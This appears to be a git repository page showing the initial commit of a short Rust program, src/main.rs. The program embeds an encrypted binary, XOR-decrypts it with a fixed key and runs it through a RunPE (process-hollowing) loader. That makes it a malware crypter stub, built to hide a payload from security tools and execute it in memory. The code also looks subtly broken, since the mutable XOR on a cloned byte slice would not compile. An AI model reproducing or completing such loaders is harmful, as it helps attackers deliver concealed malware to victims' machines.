initial commit
This commit is contained in:
18
src/main.rs
Normal file
18
src/main.rs
Normal file
@@ -0,0 +1,18 @@
|
||||
use crate::runpe::run_portable_executable;
|
||||
|
||||
mod runpe;
|
||||
|
||||
fn xor_crypt(input: &mut [u8], key: u8) {
|
||||
for byte in input.iter_mut() {
|
||||
*byte ^= key;
|
||||
}
|
||||
}
|
||||
|
||||
static BYTES: &[u8] = include_bytes!("crypt.bin");
|
||||
|
||||
fn main() {
|
||||
let mut bytes = BYTES.clone();
|
||||
xor_crypt(&mut bytes, 0x42);
|
||||
|
||||
run_portable_executable(bytes).unwrap();
|
||||
}
|
||||
Reference in New Issue
Block a user